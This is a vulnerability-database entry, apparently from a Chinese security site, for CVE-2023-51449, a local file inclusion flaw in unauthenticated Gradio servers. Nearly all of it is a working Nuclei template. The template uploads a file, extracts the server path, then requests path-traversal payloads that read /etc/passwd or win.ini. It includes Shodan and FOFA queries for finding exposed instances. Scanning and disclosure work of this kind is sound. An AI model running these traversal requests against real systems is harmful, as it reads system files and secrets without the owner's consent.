CVE-2023-51449: Gradio Hugging Face - Local File Inclusion

日期: 2025-08-01 | 影响软件: Gradio Hugging Face | POC: 已公开

漏洞描述

Gradio LFI when auth is not enabled, affects versions 4.0 - 4.10, also works against Gradio < 3.33

PoC代码[已公开]

id: CVE-2023-51449

info:
  name: Gradio Hugging Face - Local File Inclusion
  author: nvn1729
  severity: high
  description: |
    Gradio LFI when auth is not enabled, affects versions 4.0 - 4.10, also works against Gradio < 3.33
  reference:
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51449
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-51449
    cwe-id: CWE-22
    epss-score: 0.79587
    epss-percentile: 0.99057
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gradio_project
    product: gradio
    framework: python
    shodan-query: html:"__gradio_mode__"
    fofa-query: body="__gradio_mode__"
  tags: cve,cve2024,lfi,gradio,unauth,intrusive

variables:
  str: '{{rand_base(8)}}'

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311

        -----------------------------250033711231076532771336998311
        Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
        Content-Type: application/octet-stream

        {{str}}
        -----------------------------250033711231076532771336998311--

      - |
        GET /file={{download_path}}{{path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\\[\"(.+)okmijnuhbygv\"\\]"

    payloads:
      path:
        - ..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
        - ../../../../../../../../../../../../../../../etc/passwd

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220178f51ff25eccfa6252e87207ca4656627fa055f9e4cd030dc06b7787eabee69022100d54ab5b575a215255f44c5ff900815cf418d1727cb53c95eac56b027da49581b:922c64590222798bb761d5b6d8e72950

相关漏洞推荐